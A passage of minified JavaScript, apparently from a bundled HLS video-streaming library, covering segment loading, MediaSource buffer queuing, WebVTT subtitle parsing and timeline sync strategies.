callback")},id3Fn:this.handleId3_.bind(this),dataFn:this.handleData_.bind(this),doneFn:this.segmentRequestFinished_.bind(this),onTransmuxerLog:({message:t,level:i,stream:n})=>{this.logger_(`${hl(e)} logged from transmuxer stream ${n} as a ${i}: ${t}`)}})}trimBackBuffer_(e){const t=((e,t,i)=>{let n=t-Do.BACK_BUFFER_LENGTH;e.length&&(n=Math.max(n,e.start(0)));const r=t-i;return Math.min(r,n)})(this.seekable_(),this.currentTime_(),this.playlist_.targetDuration||10);t>0&&this.remove(0,t)}createSimplifiedSegmentObj_(e){const t=e.segment,i=e.part,n={resolvedUri:i?i.resolvedUri:t.resolvedUri,byterange:i?i.byterange:t.byterange,requestId:e.requestId,transmuxer:e.transmuxer,audioAppendStart:e.audioAppendStart,gopsToAlignWith:e.gopsToAlignWith,part:e.part},r=e.playlist.segments[e.mediaIndex-1];if(r&&r.timeline===t.timeline&&(r.videoTimingInfo?n.baseStartTime=r.videoTimingInfo.transmuxedDecodeEnd:r.audioTimingInfo&&(n.baseStartTime=r.audioTimingInfo.transmuxedDecodeEnd)),t.key){const i=t.key.iv||new Uint32Array([0,0,0,e.mediaIndex+e.playlist.mediaSequence]);n.key=this.segmentKey(t.key),n.key.iv=i}return t.map&&(n.map=this.initSegmentForMap(t.map)),n}saveTransferStats_(e){this.mediaRequests+=1,e&&(this.mediaBytesTransferred+=e.bytesReceived,this.mediaTransferDuration+=e.roundTripTime)}saveBandwidthRelatedStats_(e,t){this.pendingSegment_.byteLength=t.bytesReceived,e<dl?this.logger_(`Ignoring segment's bandwidth because its duration of ${e} is less than the min to record 0.016666666666666666`):(this.bandwidth=t.bandwidth,this.roundTrip=t.roundTripTime)}handleTimeout_(){this.mediaRequestsTimedout+=1,this.bandwidth=1,this.roundTrip=NaN,this.trigger("bandwidthupdate"),this.trigger("timeout")}segmentRequestFinished_(e,t,i){if(this.callQueue_.length)return void this.callQueue_.push(this.segmentRequestFinished_.bind(this,e,t,i));if(this.saveTransferStats_(t.stats),!this.pendingSegment_)return;if(t.requestId!==this.pendingSegment_.requestId)return;if(e){if(this.pendingSegment_=null,this.state="READY",-102===e.code)return;return this.pause(),-101===e.code?void this.handleTimeout_():(this.mediaRequestsErrored+=1,this.error(e),void this.trigger("error"))}const n=this.pendingSegment_;this.saveBandwidthRelatedStats_(n.duration,t.stats),n.endOfAllRequests=t.endOfAllRequests,i.gopInfo&&(this.gopBuffer_=((e,t,i)=>{if(!t.length)return e;if(i)return t.slice();const n=t[0].pts;let r=0;for(;r<e.length&&!(e[r].pts>=n);r++);return e.slice(0,r).concat(t)})(this.gopBuffer_,i.gopInfo,this.safeAppend_)),this.state="APPENDING",this.trigger("appending"),this.waitForAppendsToComplete_(n)}setTimeMapping_(e){const t=this.syncController_.mappingForTimeline(e);null!==t&&(this.timeMapping_=t)}updateMediaSecondsLoaded_(e){"number"==typeof e.start&&"number"==typeof e.end?this.mediaSecondsLoaded+=e.end-e.start:this.mediaSecondsLoaded+=e.duration}shouldUpdateTransmuxerTimestampOffset_(e){return null!==e&&("main"===this.loaderType_&&e!==this.sourceUpdater_.videoTimestampOffset()||!this.audioDisabled_&&e!==this.sourceUpdater_.audioTimestampOffset())}trueSegmentStart_({currentStart:e,playlist:t,mediaIndex:i,firstVideoFrameTimeForData:n,currentVideoTimestampOffset:r,useVideoTimingInfo:s,videoTimingInfo:a,audioTimingInfo:o}){if(void 0!==e)return e;if(!s)return o.start;const l=t.segments[i-1];return 0!==i&&l&&void 0!==l.start&&l.end===n+r?a.start:n}waitForAppendsToComplete_(e){const t=this.getCurrentMediaInfo_(e);if(!t)return this.error({message:"No starting media returned, likely due to an unsupported media format.",playlistExclusionDuration:1/0}),void this.trigger("error");const{hasAudio:i,hasVideo:n,isMuxed:r}=t,s="main"===this.loaderType_&&n,a=!this.audioDisabled_&&i&&!r;if(e.waitingOnAppends=0,!e.hasAppendedData_)return e.timingInfo||"number"!=typeof e.timestampOffset||(this.isPendingTimestampOffset_=!0),e.timingInfo={start:0},e.waitingOnAppends++,this.isPendingTimestampOffset_||(this.updateSourceBufferTimestampOffset_(e),this.processMetadataQueue_()),void this.checkAppendsDone_(e);s&&e.waitingOnAppends++,a&&e.waitingOnAppends++,s&&this.sourceUpdater_.videoQueueCallback(this.checkAppendsDone_.bind(this,e)),a&&this.sourceUpdater_.audioQueueCallback(this.checkAppendsDone_.bind(this,e))}checkAppendsDone_(e){this.checkForAbort_(e.requestId)||(e.waitingOnAppends--,0===e.waitingOnAppends&&this.handleAppendsDone_())}checkForIllegalMediaSwitch(e){const t=((e,t,i)=>"main"===e&&t&&i?i.hasAudio||i.hasVideo?t.hasVideo&&!i.hasVideo?"Only audio found in segment when we expected video. We can't switch to audio only from a stream that had video. To get rid of this message, please add codec information to the manifest.":!t.hasVideo&&i.hasVideo?"Video found in segment when we expected only audio. We can't switch to a stream with video from an audio only stream. To get rid of this message, please add codec information to the manifest.":null:"Neither audio nor video found in segment.":null)(this.loaderType_,this.getCurrentMediaInfo_(),e);return!!t&&(this.error({message:t,playlistExclusionDuration:1/0}),this.trigger("error"),!0)}updateSourceBufferTimestampOffset_(e){if(null===e.timestampOffset||"number"!=typeof e.timingInfo.start||e.changedTimestampOffset||"main"!==this.loaderType_)return;let t=!1;e.timestampOffset-=this.getSegmentStartTimeForTimestampOffsetCalculation_({videoTimingInfo:e.segment.videoTimingInfo,audioTimingInfo:e.segment.audioTimingInfo,timingInfo:e.timingInfo}),e.changedTimestampOffset=!0,e.timestampOffset!==this.sourceUpdater_.videoTimestampOffset()&&(this.sourceUpdater_.videoTimestampOffset(e.timestampOffset),t=!0),e.timestampOffset!==this.sourceUpdater_.audioTimestampOffset()&&(this.sourceUpdater_.audioTimestampOffset(e.timestampOffset),t=!0),t&&this.trigger("timestampoffset")}getSegmentStartTimeForTimestampOffsetCalculation_({videoTimingInfo:e,audioTimingInfo:t,timingInfo:i}){return this.useDtsForTimestampOffset_?e&&"number"==typeof e.transmuxedDecodeStart?e.transmuxedDecodeStart:t&&"number"==typeof t.transmuxedDecodeStart?t.transmuxedDecodeStart:i.start:i.start}updateTimingInfoEnd_(e){e.timingInfo=e.timingInfo||{};const t=this.getMediaInfo_(),i="main"===this.loaderType_&&t&&t.hasVideo&&e.videoTimingInfo?e.videoTimingInfo:e.audioTimingInfo;i&&(e.timingInfo.end="number"==typeof i.end?i.end:i.start+e.duration)}handleAppendsDone_(){if(this.pendingSegment_&&this.trigger("appendsdone"),!this.pendingSegment_)return this.state="READY",void(this.paused()||this.monitorBuffer_());const e=this.pendingSegment_;this.updateTimingInfoEnd_(e),this.shouldSaveSegmentTimingInfo_&&this.syncController_.saveSegmentTimingInfo({segmentInfo:e,shouldSaveTimelineMapping:"main"===this.loaderType_});const t=((e,t)=>{if("hls"!==this.sourceType_)return null;const i=(e=>{let t=0;return["video","audio"].forEach((function(i){const n=e[`${i}TimingInfo`];if(!n)return;const{start:s,end:a}=n;let o;"bigint"==typeof s||"bigint"==typeof a?o=r().BigInt(a)-r().BigInt(s):"number"==typeof s&&"number"==typeof a&&(o=a-s),void 0!==o&&o>t&&(t=o)})),"bigint"==typeof t&&t<Number.MAX_SAFE_INTEGER&&(t=Number(t)),t})({audioTimingInfo:e.audioTimingInfo,videoTimingInfo:e.videoTimingInfo});if(!i)return null;const n=e.playlist.targetDuration,s=ml({segmentDuration:i,maxDuration:2*n}),a=ml({segmentDuration:i,maxDuration:n}),o=`Segment with index ${e.mediaIndex} from playlist ${e.playlist.id} has a duration of ${i} when the reported duration is ${e.duration} and the target duration is ${n}. For HLS content, a duration in excess of the target duration may result in playback issues. See the HLS specification section on EXT-X-TARGETDURATION for more details: https://tools.ietf.org/html/draft-pantos-http-live-streaming-23#section-4.3.3.1`;return s||a?{severity:s?"warn":"info",message:o}:null})(e);if(t&&("warn"===t.severity?da.log.warn(t.message):this.logger_(t.message)),this.recordThroughput_(e),this.pendingSegment_=null,this.state="READY",e.isSyncRequest&&(this.trigger("syncinfoupdate"),!e.hasAppendedData_))return void this.logger_(`Throwing away un-appended sync request ${hl(e)}`);this.logger_(`Appended ${hl(e)}`),this.addSegmentMetadataCue_(e),this.fetchAtBuffer_=!0,this.currentTimeline_!==e.timeline&&(this.timelineChangeController_.lastTimelineChange({type:this.loaderType_,from:this.currentTimeline_,to:e.timeline}),"main"!==this.loaderType_||this.audioDisabled_||this.timelineChangeController_.lastTimelineChange({type:"audio",from:this.currentTimeline_,to:e.timeline})),this.currentTimeline_=e.timeline,this.trigger("syncinfoupdate");const i=e.segment,n=e.part,s=i.end&&this.currentTime_()-i.end>3*e.playlist.targetDuration,a=n&&n.end&&this.currentTime_()-n.end>3*e.playlist.partTargetDuration;if(s||a)return this.logger_(`bad ${s?"segment":"part"} ${hl(e)}`),void this.resetEverything();null!==this.mediaIndex&&this.trigger("bandwidthupdate"),this.trigger("progress"),this.mediaIndex=e.mediaIndex,this.partIndex=e.partIndex,this.isEndOfStream_(e.mediaIndex,e.playlist,e.partIndex)&&this.endOfStream(),this.trigger("appended"),e.hasAppendedData_&&this.mediaAppends++,this.paused()||this.monitorBuffer_()}recordThroughput_(e){if(e.duration<dl)return void this.logger_(`Ignoring segment's throughput because its duration of ${e.duration} is less than the min to record 0.016666666666666666`);const t=this.throughput.rate,i=Date.now()-e.endOfAllRequests+1,n=Math.floor(e.byteLength/i*8*1e3);this.throughput.rate+=(n-t)/++this.throughput.count}addSegmentMetadataCue_(e){if(!this.segmentMetadataTrack_)return;const t=e.segment,i=t.start,n=t.end;if(!cl(i)||!cl(n))return;ul(i,n,this.segmentMetadataTrack_);const s=r().WebKitDataCue||r().VTTCue,a={custom:t.custom,dateTimeObject:t.dateTimeObject,dateTimeString:t.dateTimeString,bandwidth:e.playlist.attributes.BANDWIDTH,resolution:e.playlist.attributes.RESOLUTION,codecs:e.playlist.attributes.CODECS,byteLength:e.byteLength,uri:e.uri,timeline:e.timeline,playlist:e.playlist.id,start:i,end:n},o=new s(i,n,JSON.stringify(a));o.value=a,this.segmentMetadataTrack_.addCue(o)}}function _l(){}const vl=function(e){return"string"!=typeof e?e:e.replace(/./,(e=>e.toUpperCase()))},yl=["video","audio"],bl=(e,t)=>{const i=t[`${e}Buffer`];return i&&i.updating||t.queuePending[e]},wl=(e,t)=>{if(0===t.queue.length)return;let i=0,n=t.queue[i];if("mediaSource"!==n.type){if("mediaSource"!==e&&t.ready()&&"closed"!==t.mediaSource.readyState&&!bl(e,t)){if(n.type!==e){if(i=((e,t)=>{for(let i=0;i<t.length;i++){const n=t[i];if("mediaSource"===n.type)return null;if(n.type===e)return i}return null})(e,t.queue),null===i)return;n=t.queue[i]}return t.queue.splice(i,1),t.queuePending[e]=n,n.action(e,t),n.doneFn?void 0:(t.queuePending[e]=null,void wl(e,t))}}else t.updating()||"closed"===t.mediaSource.readyState||(t.queue.shift(),n.action(t),n.doneFn&&n.doneFn(),wl("audio",t),wl("video",t))},Tl=(e,t)=>{const i=t[`${e}Buffer`],n=vl(e);i&&(i.removeEventListener("updateend",t[`on${n}UpdateEnd_`]),i.removeEventListener("error",t[`on${n}Error_`]),t.codecs[e]=null,t[`${e}Buffer`]=null)},kl=(e,t)=>e&&t&&-1!==Array.prototype.indexOf.call(e.sourceBuffers,t),Sl=(e,t,i)=>(n,r)=>{const s=r[`${n}Buffer`];if(kl(r.mediaSource,s)){r.logger_(`Appending segment ${t.mediaIndex}'s ${e.length} bytes to ${n}Buffer`);try{s.appendBuffer(e)}catch(e){r.logger_(`Error with code ${e.code} `+(22===e.code?"(QUOTA_EXCEEDED_ERR) ":"")+`when appending segment ${t.mediaIndex} to ${n}Buffer`),r.queuePending[n]=null,i(e)}}},Ml=(e,t)=>(i,n)=>{const r=n[`${i}Buffer`];if(kl(n.mediaSource,r)){n.logger_(`Removing ${e} to ${t} from ${i}Buffer`);try{r.remove(e,t)}catch(r){n.logger_(`Remove ${e} to ${t} from ${i}Buffer failed`)}}},xl=e=>(t,i)=>{const n=i[`${t}Buffer`];kl(i.mediaSource,n)&&(i.logger_(`Setting ${t}timestampOffset to ${e}`),n.timestampOffset=e)},Ll=e=>(t,i)=>{e()},Cl=e=>t=>{if("open"===t.mediaSource.readyState){t.logger_(`Calling mediaSource endOfStream(${e||""})`);try{t.mediaSource.endOfStream(e)}catch(e){da.log.warn("Failed to call media source endOfStream",e)}}},Dl=e=>t=>{t.logger_(`Setting mediaSource duration to ${e}`);try{t.mediaSource.duration=e}catch(e){da.log.warn("Failed to set media source duration",e)}},El=(e,t)=>i=>{const n=vl(e),r=$(t);i.logger_(`Adding ${e}Buffer with codec ${t} to mediaSource`);const s=i.mediaSource.addSourceBuffer(r);s.addEventListener("updateend",i[`on${n}UpdateEnd_`]),s.addEventListener("error",i[`on${n}Error_`]),i.codecs[e]=t,i[`${e}Buffer`]=s},Pl=e=>t=>{const i=t[`${e}Buffer`];if(Tl(e,t),kl(t.mediaSource,i)){t.logger_(`Removing ${e}Buffer with codec ${t.codecs[e]} from mediaSource`);try{t.mediaSource.removeSourceBuffer(i)}catch(t){da.log.warn(`Failed to removeSourceBuffer ${e}Buffer`,t)}}},Al=e=>(t,i)=>{const n=i[`${t}Buffer`],r=$(e);kl(i.mediaSource,n)&&i.codecs[t]!==e&&(i.logger_(`changing ${t}Buffer codec from ${i.codecs[t]} to ${e}`),n.changeType(r),i.codecs[t]=e)},Il=({type:e,sourceUpdater:t,action:i,doneFn:n,name:r})=>{t.queue.push({type:e,action:i,doneFn:n,name:r}),wl(e,t)},Ol=(e,t)=>i=>{if(t.queuePending[e]){const i=t.queuePending[e].doneFn;t.queuePending[e]=null,i&&i(t[`${e}Error_`])}wl(e,t)};class Yl extends da.EventTarget{constructor(e){super(),this.mediaSource=e,this.sourceopenListener_=()=>wl("mediaSource",this),this.mediaSource.addEventListener("sourceopen",this.sourceopenListener_),this.logger_=va("SourceUpdater"),this.audioTimestampOffset_=0,this.videoTimestampOffset_=0,this.queue=[],this.queuePending={audio:null,video:null},this.delayedAudioAppendQueue_=[],this.videoAppendQueued_=!1,this.codecs={},this.onVideoUpdateEnd_=Ol("video",this),this.onAudioUpdateEnd_=Ol("audio",this),this.onVideoError_=e=>{this.videoError_=e},this.onAudioError_=e=>{this.audioError_=e},this.createdSourceBuffers_=!1,this.initializedEme_=!1,this.triggeredReady_=!1}initializedEme(){this.initializedEme_=!0,this.triggerReady()}hasCreatedSourceBuffers(){return this.createdSourceBuffers_}hasInitializedAnyEme(){return this.initializedEme_}ready(){return this.hasCreatedSourceBuffers()&&this.hasInitializedAnyEme()}createSourceBuffers(e){this.hasCreatedSourceBuffers()||(this.addOrChangeSourceBuffers(e),this.createdSourceBuffers_=!0,this.trigger("createdsourcebuffers"),this.triggerReady())}triggerReady(){this.ready()&&!this.triggeredReady_&&(this.triggeredReady_=!0,this.trigger("ready"))}addSourceBuffer(e,t){Il({type:"mediaSource",sourceUpdater:this,action:El(e,t),name:"addSourceBuffer"})}abort(e){Il({type:e,sourceUpdater:this,action:(e,t)=>{if("open"!==t.mediaSource.readyState)return;const i=t[`${e}Buffer`];if(kl(t.mediaSource,i)){t.logger_(`calling abort on ${e}Buffer`);try{i.abort()}catch(t){da.log.warn(`Failed to abort on ${e}Buffer`,t)}}},name:"abort"})}removeSourceBuffer(e){this.canRemoveSourceBuffer()?Il({type:"mediaSource",sourceUpdater:this,action:Pl(e),name:"removeSourceBuffer"}):da.log.error("removeSourceBuffer is not supported!")}canRemoveSourceBuffer(){return!da.browser.IE_VERSION&&!da.browser.IS_FIREFOX&&r().MediaSource&&r().MediaSource.prototype&&"function"==typeof r().MediaSource.prototype.removeSourceBuffer}static canChangeType(){return r().SourceBuffer&&r().SourceBuffer.prototype&&"function"==typeof r().SourceBuffer.prototype.changeType}canChangeType(){return this.constructor.canChangeType()}changeType(e,t){this.canChangeType()?Il({type:e,sourceUpdater:this,action:Al(t),name:"changeType"}):da.log.error("changeType is not supported!")}addOrChangeSourceBuffers(e){if(!e||"object"!=typeof e||0===Object.keys(e).length)throw new Error("Cannot addOrChangeSourceBuffers to undefined codecs");Object.keys(e).forEach((t=>{const i=e[t];if(!this.hasCreatedSourceBuffers())return this.addSourceBuffer(t,i);this.canChangeType()&&this.changeType(t,i)}))}appendBuffer(e,t){const{segmentInfo:i,type:n,bytes:r}=e;if(this.processedAppend_=!0,"audio"===n&&this.videoBuffer&&!this.videoAppendQueued_)return this.delayedAudioAppendQueue_.push([e,t]),void this.logger_(`delayed audio append of ${r.length} until video append`);if(Il({type:n,sourceUpdater:this,action:Sl(r,i||{mediaIndex:-1},t),doneFn:t,name:"appendBuffer"}),"video"===n){if(this.videoAppendQueued_=!0,!this.delayedAudioAppendQueue_.length)return;const e=this.delayedAudioAppendQueue_.slice();this.logger_(`queuing delayed audio ${e.length} appendBuffers`),this.delayedAudioAppendQueue_.length=0,e.forEach((e=>{this.appendBuffer.apply(this,e)}))}}audioBuffered(){return kl(this.mediaSource,this.audioBuffer)&&this.audioBuffer.buffered?this.audioBuffer.buffered:ba()}videoBuffered(){return kl(this.mediaSource,this.videoBuffer)&&this.videoBuffer.buffered?this.videoBuffer.buffered:ba()}buffered(){const e=kl(this.mediaSource,this.videoBuffer)?this.videoBuffer:null,t=kl(this.mediaSource,this.audioBuffer)?this.audioBuffer:null;return t&&!e?this.audioBuffered():e&&!t?this.videoBuffered():function(e,t){let i=null,n=null,r=0;const s=[],a=[];if(!(e&&e.length&&t&&t.length))return ba();let o=e.length;for(;o--;)s.push({time:e.start(o),type:"start"}),s.push({time:e.end(o),type:"end"});for(o=t.length;o--;)s.push({time:t.start(o),type:"start"}),s.push({time:t.end(o),type:"end"});for(s.sort((function(e,t){return e.time-t.time})),o=0;o<s.length;o++)"start"===s[o].type?(r++,2===r&&(i=s[o].time)):"end"===s[o].type&&(r--,1===r&&(n=s[o].time)),null!==i&&null!==n&&(a.push([i,n]),i=null,n=null);return ba(a)}(this.audioBuffered(),this.videoBuffered())}setDuration(e,t=_l){Il({type:"mediaSource",sourceUpdater:this,action:Dl(e),name:"duration",doneFn:t})}endOfStream(e=null,t=_l){"string"!=typeof e&&(e=void 0),Il({type:"mediaSource",sourceUpdater:this,action:Cl(e),name:"endOfStream",doneFn:t})}removeAudio(e,t,i=_l){this.audioBuffered().length&&0!==this.audioBuffered().end(0)?Il({type:"audio",sourceUpdater:this,action:Ml(e,t),doneFn:i,name:"remove"}):i()}removeVideo(e,t,i=_l){this.videoBuffered().length&&0!==this.videoBuffered().end(0)?Il({type:"video",sourceUpdater:this,action:Ml(e,t),doneFn:i,name:"remove"}):i()}updating(){return!(!bl("audio",this)&&!bl("video",this))}audioTimestampOffset(e){return void 0!==e&&this.audioBuffer&&this.audioTimestampOffset_!==e&&(Il({type:"audio",sourceUpdater:this,action:xl(e),name:"timestampOffset"}),this.audioTimestampOffset_=e),this.audioTimestampOffset_}videoTimestampOffset(e){return void 0!==e&&this.videoBuffer&&this.videoTimestampOffset!==e&&(Il({type:"video",sourceUpdater:this,action:xl(e),name:"timestampOffset"}),this.videoTimestampOffset_=e),this.videoTimestampOffset_}audioQueueCallback(e){this.audioBuffer&&Il({type:"audio",sourceUpdater:this,action:Ll(e),name:"callback"})}videoQueueCallback(e){this.videoBuffer&&Il({type:"video",sourceUpdater:this,action:Ll(e),name:"callback"})}dispose(){this.trigger("dispose"),yl.forEach((e=>{this.abort(e),this.canRemoveSourceBuffer()?this.removeSourceBuffer(e):this[`${e}QueueCallback`]((()=>Tl(e,this)))})),this.videoAppendQueued_=!1,this.delayedAudioAppendQueue_.length=0,this.sourceopenListener_&&this.mediaSource.removeEventListener("sourceopen",this.sourceopenListener_),this.off()}}const $l=e=>decodeURIComponent(escape(String.fromCharCode.apply(null,e))),jl=new Uint8Array("\n\n".split("").map((e=>e.charCodeAt(0))));class Nl extends Error{constructor(){super("Trying to parse received VTT cues, but there is no WebVTT. Make sure vtt.js is loaded.")}}class Rl extends gl{constructor(e,t={}){super(e,t),this.mediaSource_=null,this.subtitlesTrack_=null,this.loaderType_="subtitle",this.featuresNativeTextTracks_=e.featuresNativeTextTracks,this.loadVttJs=e.loadVttJs,this.shouldSaveSegmentTimingInfo_=!1}createTransmuxer_(){return null}buffered_(){if(!this.subtitlesTrack_||!this.subtitlesTrack_.cues||!this.subtitlesTrack_.cues.length)return ba();const e=this.subtitlesTrack_.cues;return ba([[e[0].startTime,e[e.length-1].startTime]])}initSegmentForMap(e,t=!1){if(!e)return null;const i=_o(e);let n=this.initSegments_[i];if(t&&!n&&e.bytes){const t=jl.byteLength+e.bytes.byteLength,r=new Uint8Array(t);r.set(e.bytes),r.set(jl,e.bytes.byteLength),this.initSegments_[i]=n={resolvedUri:e.resolvedUri,byterange:e.byterange,bytes:r}}return n||e}couldBeginLoading_(){return this.playlist_&&this.subtitlesTrack_&&!this.paused()}init_(){return this.state="READY",this.resetEverything(),this.monitorBuffer_()}track(e){return void 0===e||(this.subtitlesTrack_=e,"INIT"===this.state&&this.couldBeginLoading_()&&this.init_()),this.subtitlesTrack_}remove(e,t){ul(e,t,this.subtitlesTrack_)}fillBuffer_(){const e=this.chooseNextRequest_();if(e){if(null===this.syncController_.timestampOffsetForTimeline(e.timeline)){const e=()=>{this.state="READY",this.paused()||this.monitorBuffer_()};return this.syncController_.one("timestampoffset",e),void(this.state="WAITING_ON_TIMELINE")}this.loadSegment_(e)}}timestampOffsetForSegment_(){return null}chooseNextRequest_(){return this.skipEmptySegments_(super.chooseNextRequest_())}skipEmptySegments_(e){for(;e&&e.segment.empty;){if(e.mediaIndex+1>=e.playlist.segments.length){e=null;break}e=this.generateSegmentInfo_({playlist:e.playlist,mediaIndex:e.mediaIndex+1,startOfSegment:e.startOfSegment+e.duration,isSyncRequest:e.isSyncRequest})}return e}stopForError(e){this.error(e),this.state="READY",this.pause(),this.trigger("error")}segmentRequestFinished_(e,t,i){if(!this.subtitlesTrack_)return void(this.state="READY");if(this.saveTransferStats_(t.stats),!this.pendingSegment_)return this.state="READY",void(this.mediaRequestsAborted+=1);if(e)return-101===e.code&&this.handleTimeout_(),-102===e.code?this.mediaRequestsAborted+=1:this.mediaRequestsErrored+=1,void this.stopForError(e);const n=this.pendingSegment_;this.saveBandwidthRelatedStats_(n.duration,t.stats),t.key&&this.segmentKey(t.key,!0),this.state="APPENDING",this.trigger("appending");const s=n.segment;if(s.map&&(s.map.bytes=t.map.bytes),n.bytes=t.bytes,"function"!=typeof r().WebVTT&&"function"==typeof this.loadVttJs)return this.state="WAITING_ON_VTTJS",void this.loadVttJs().then((()=>this.segmentRequestFinished_(e,t,i)),(()=>this.stopForError({message:"Error loading vtt.js"})));s.requested=!0;try{this.parseVTTCues_(n)}catch(e){return void this.stopForError({message:e.message})}if(this.updateTimeMapping_(n,this.syncController_.timelines[n.timeline],this.playlist_),n.cues.length?n.timingInfo={start:n.cues[0].startTime,end:n.cues[n.cues.length-1].endTime}:n.timingInfo={start:n.startOfSegment,end:n.startOfSegment+n.duration},n.isSyncRequest)return this.trigger("syncinfoupdate"),this.pendingSegment_=null,void(this.state="READY");n.byteLength=n.bytes.byteLength,this.mediaSecondsLoaded+=s.duration,n.cues.forEach((e=>{this.subtitlesTrack_.addCue(this.featuresNativeTextTracks_?new(r().VTTCue)(e.startTime,e.endTime,e.text):e)})),function(e){const t=e.cues;if(t)for(let i=0;i<t.length;i++){const n=[];let r=0;for(let e=0;e<t.length;e++)t[i].startTime===t[e].startTime&&t[i].endTime===t[e].endTime&&t[i].text===t[e].text&&(r++,r>1&&n.push(t[e]));n.length&&n.forEach((t=>e.removeCue(t)))}}(this.subtitlesTrack_),this.handleAppendsDone_()}handleData_(){}updateTimingInfoEnd_(){}parseVTTCues_(e){let t,i=!1;if("function"!=typeof r().WebVTT)throw new Nl;"function"==typeof r().TextDecoder?t=new(r().TextDecoder)("utf8"):(t=r().WebVTT.StringDecoder(),i=!0);const n=new(r().WebVTT.Parser)(r(),r().vttjs,t);if(e.cues=[],e.timestampmap={MPEGTS:0,LOCAL:0},n.oncue=e.cues.push.bind(e.cues),n.ontimestampmap=t=>{e.timestampmap=t},n.onparsingerror=e=>{da.log.warn("Error encountered when parsing cues: "+e.message)},e.segment.map){let t=e.segment.map.bytes;i&&(t=$l(t)),n.parse(t)}let s=e.bytes;i&&(s=$l(s)),n.parse(s),n.flush()}updateTimeMapping_(e,t,i){const n=e.segment;if(!t)return;if(!e.cues.length)return void(n.empty=!0);const r=e.timestampmap,s=r.MPEGTS/pt.ONE_SECOND_IN_TS-r.LOCAL+t.mapping;if(e.cues.forEach((e=>{e.startTime+=s,e.endTime+=s})),!i.syncInfo){const t=e.cues[0].startTime,r=e.cues[e.cues.length-1].startTime;i.syncInfo={mediaSequence:i.mediaSequence+e.mediaIndex,time:Math.min(t,r-n.duration)}}}}const Hl=function(e,t){const i=e.cues;for(let e=0;e<i.length;e++){const n=i[e];if(t>=n.adStartTime&&t<=n.adEndTime)return n}return null},Fl=[{name:"VOD",run:(e,t,i,n,r)=>i!==1/0?{time:0,segmentIndex:0,partIndex:null}:null},{name:"ProgramDateTime",run:(e,t,i,n,r)=>{if(!Object.keys(e.timelineToDatetimeMappings).length)return null;let s=null,a=null;const o=Pa(t);r=r||0;for(let i=0;i<o.length;i++){const n=o[t.endList||0===r?i:o.length-(i+1)],l=n.segment,u=e.timelineToDatetimeMappings[l.timeline];if(!u||!l.dateTimeObject)continue;let c=l.dateTimeObject.getTime()/1e3+u;if(l.parts&&"number"==typeof n.partIndex)for(let e=0;e<n.partIndex;e++)c+=l.parts[e].duration;const d=Math.abs(r-c);if(null!==a&&(0===d||a<d))break;a=d,s={time:c,segmentIndex:n.segmentIndex,partIndex:n.partIndex}}return s}},{name:"Segment",run:(e,t,i,n,r)=>{let s=null,a=null;r=r||0;const o=Pa(t);for(let e=0;e<o.length;e++){const i=o[t.endList||0===r?e:o.length-(e+1)],l=i.segment,u=i.part&&i.part.start||l&&l.start;if(l.timeline===n&&void 0!==u){const e=Math.abs(r-u);if(null!==a&&a<e)break;(!s||null===a||a>=e)&&(a=e,s={time:u,segmentIndex:i.segmentIndex,partIndex:i.partIndex})}}return s}},{name:"Discontinuity",run:(e,t,i,n,r)=>{let s=null;if(r=r||0,t.discontinuityStarts&&t.discontinuityStarts.length){let i=null;for(let n=0;n<t.discontinuityStarts.length;n++){const a=t.discontinuityStarts[n],o=t.discontinuitySequence+n+1,l=e.discontinuities[o];if(l){const e=Math.abs(r-l.time);if(null!==i&&i<e)break;(!s||null===i||i>=e)&&(i=e,s={time:l.time,segmentIndex:a,partIndex:null})}}}return s}},{name:"Playlist",run:(e,t,i,n,r)=>t.syncInfo?{time:t.syncInfo.time,segmentIndex:t.syncInfo.mediaSequence-t.mediaSequence,partIndex:null}:null}];class Bl extends da.EventTarget{constructor(e={}){super(),this.timelines=[],this.discontinuities=[],this.timelineToDatetimeMappings={},this.logger_=va("SyncController")}getSyncPoint(e,t,i,n){const r=this.runStrategies_(e,t,i,n);return r.length?this.selectSyncPoint_(r,{key:"time",value:n}):null}getExpiredTime(e,t){if(!e||!e.segments)return null;const i=this.runStrategies_(e,t,e.discontinuitySequence,0);if(!i.length)return null;const n=this.selectSyncPoint_(i,{key:"segmentIndex",value:0});return n.segmentIndex>0&&(n.time*=-1),Math.abs(n.time+ja({defaultDuration:e.targetDuration,durationList:e.segments,startIndex:n.segmentIndex,endIndex:0}))}runStrategies_(e,t,i,n){const r=[];for(let s=0;s<Fl.length;s++){const a=Fl[s],o=a.run(this,e,t,i,n);o&&(o.strategy=a.name,r.push({strategy:a.name,syncPoint:o}))}return r}selectSyncPoint_(e,t){let i=e[0].syncPoint,n=Math.abs(e[0].syncPoint[t.key]-t.value),r=e[0].strategy;for(let s=1;s<e.length;s++){const a=Math.abs(e[s].syncPoint[t.key]-t.value);a<n&&(n=a,i=e[s].syncPoint,r=e[s].strategy)}return this.logger_(`syncPoint for [${t.key}: ${t.value}] chosen with strategy [${r}]: [time:${i.time}, segmentIndex:${i.segmentIndex}`+("number"==typeof i.partIndex?`,partIndex:${i.partIndex}`:"")+"]"),i}saveExpiredSegmentInfo(e,t){const i=t.mediaSequence-e.mediaSequence;if(i>86400)da.log.warn(`Not saving expired segment info. Media sequence gap ${i} is too large.`);else for(let n=i-1;n>=0;n--){const i=e.segments[n];if(i&&void 0!==i.start){t.syncInfo={mediaSequence:e.mediaSequence+n,time:i.start},this.logger_(`playlist refresh sync: [time:${t.syncInfo.time}, mediaSequence: ${t.syncInfo.mediaSequence}]`),this.trigger("syncinfoupdate");break}}}setDateTimeMappingForStart(e){if(this.timelineToDatetimeMappings={},e.segments&&e.segments.length&&e.segments[0].dateTimeObject){const t=e.segments[0],i=t.dateTimeObject.getTime()/1e3;this.timelineToDatetimeMappings[t.timeline]=-i}}saveSegmentTimingInfo({segmentInfo:e,shouldSaveTimelineMapping:t}){const i=this.calculateSegmentTimeMapping_(e,e.timingInfo,t),n=e.segment;i&&(this.saveDiscontinuitySyncInfo_(e),e.playlist.syncInfo||(e.playlist.syncInfo={mediaSequence:e.playlist.mediaSequence+e.mediaIndex,time:n.start}));const r=n.dateTimeObject;n.discontinuity&&t&&r&&(this.timelineToDatetimeMappings[n.timeline]=-r.getTime()/1e3)}timestampOffsetForTimeline(e){return void 0===this.timelines[e]?null:this.timelines[e].time}mappingForTimeline(e){return void 0===this.timelines[e]?null:this.timelines[e].mapping}calculateSegmentTimeMapping_(e,t,i){const n=e.segment,r=e.part;let s,a,o=this.timelines[e.timeline];if("number"==typeof e.timestampOffset)o={time:e.startOfSegment,mapping:e.startOfSegment-t.start},i&&(this.timelines[e.timeline]=o,this.trigger("timestampoffset"),this.logger_(`time mapping for timeline 